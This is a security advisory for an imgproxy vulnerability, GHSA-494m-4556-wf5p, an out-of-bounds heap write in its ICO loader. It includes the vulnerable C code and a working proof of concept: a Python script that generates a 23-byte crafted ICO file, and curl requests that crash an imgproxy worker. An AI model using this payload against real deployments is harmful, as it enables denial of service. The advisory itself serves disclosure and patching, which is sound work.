Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crashGHSA-494m-4556-wf5p

HIGHFix: imgproxy/imgproxy#1726

GHSA-494m-4556-wf5p is a high-severity (CVSS 7.5) vulnerability in github.com/imgproxy/imgproxy/v3. A fix is available for github.com/imgproxy/imgproxy/v3 — see the affected versions and patch details below.

Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 30, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐹github.com/imgproxy/imgproxy/v3

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Out-of-bounds heap write in imgproxy's ICO loader (vips/icoload.c): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc munmap_chunk(): invalid pointer → SIGABRT → Go panic, exit code 2).

Details

In vips_foreign_load_ico_header in vips/icoload.c, after the ICO entry's image data is read into a heap buffer of data_size + 14 bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:

uint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32));  // unvalidated
uint16_t bpp        = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14));  // unvalidated
if ((num_colors == 0) && (bpp <= 8))
  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp);
else
  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;
int32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8));  // readable past the buffer
height = height / 2;

With a crafted entry declaring a tiny data_size (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit height/2-derived value at alloc+22..+25, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always original_size >> 1 and, in cgo thread arenas, the NON_MAIN_ARENA bit lands in the IS_MMAPPED position of the corrupted word such that the next free() of the victim deterministically takes glibc's munmap_chunk() abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).

PoC

# make_ico_oob.py — generates the exact 23-byte OOB-write trigger.
# Byte-identical to the checksummed, production-verified file:
#   ico-oob.ico  sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1
import struct, hashlib

hdr = struct.pack('<HHH', 0, 1, 1)  # reserved, type=ICO, count=1
# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.
# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads
# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte
# allocation.
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)
data = b'\xAA'  # the single declared image byte
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
    '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'
open('ico-oob.ico', 'wb').write(blob)
print(f"ico-oob.ico: {len(blob)} bytes [VERIFIED]")
# imgproxy v4.0.15 with local file sources enabled:
#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png"
# → request fails at transport level (connection reset / empty reply) or
#   HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →
#   Go panic dump → exit code 2. One request, one dead worker.

curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png"
# → HTTP 200, valid thumbnail (control)

Impact

Out-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/imgproxy/imgproxy/v3≥ 3.3.0&&< 4.0.174.0.17go get github.com/imgproxy/imgproxy/v3@v4.0.17

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/imgproxy/imgproxy/v3, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/imgproxy/imgproxy/v3 to 4.0.17 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-494m-4556-wf5p is resolved across your whole dependency graph.

  3. Workarounds

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Frequently Asked Questions

### Summary Out-of-bounds heap write in imgproxy's ICO loader (`vips/icoload.c`): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc `munmap_chunk(): invalid pointer` → SIGABRT → Go panic, exit code 2). ### Details In `vips_foreign_load_ico_header` in `vips/icoload.c`, after the ICO entry's image data is read into a heap buffer of `data_size + 14` bytes, the loader reconstructs a BMP file header in front of it using fie
O3 Security · Impact-Aware SCA

Is GHSA-494m-4556-wf5p in your dependencies?

Find it across Go, including transitive dependencies.